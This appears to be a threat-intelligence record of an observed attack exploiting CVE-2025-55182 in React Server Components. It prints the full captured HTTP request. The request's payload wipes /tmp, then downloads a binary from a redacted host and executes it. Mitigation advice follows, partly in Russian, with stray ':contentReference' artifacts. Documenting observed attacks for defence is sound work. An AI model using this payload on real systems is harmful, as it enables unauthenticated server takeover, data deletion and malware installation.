CVE-2025-55182

2026-02-07

176.65.148.38

germany 

Meta 

React 

POST / HTTP/1.1
User-Agent: Mozilla/5.0
Host: ████████████:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryReactCVE
Content-Length: 1251
Accept: */*
Next-Action: x
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="2"

"$@3"
------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="3"

""
------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="4"

[]
------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="5"

{"_bundlerConfig":{},"_chunks":"$2:_response:_chunks","_formData":{"get":"$4:constructor:constructor"},"_prefix":"(function(){\n        try {\n            var res = process.mainModule.require(\"child_process\").execSync(\"cd /tmp; rm -rf *; wget http://█████████████:1/xd.x86; curl -O http://█████████████:1/xd.x86; chmod 777 xd.x86; ./xd.x86 nextjs\").toString();\n            console.log(\"\\n[+] RCE RESULT:\\n\" + res);\n            throw new Error(\"[+] RCE SUCCESS: \" + res);\n        } catch(e) {\n            console.log(e);\n            throw e;\n        }\n    })()//"}
------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="0"

"$1"
------WebKitFormBoundaryReactCVE
Content-Disposition: form-data; name="1"

{"status":"resolved_model","reason":0,"_response":"$5","value":"{\"then\":\"$4:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}
------WebKitFormBoundaryReactCVE--

CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference
The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 
The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 
Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.
The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after. 

Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)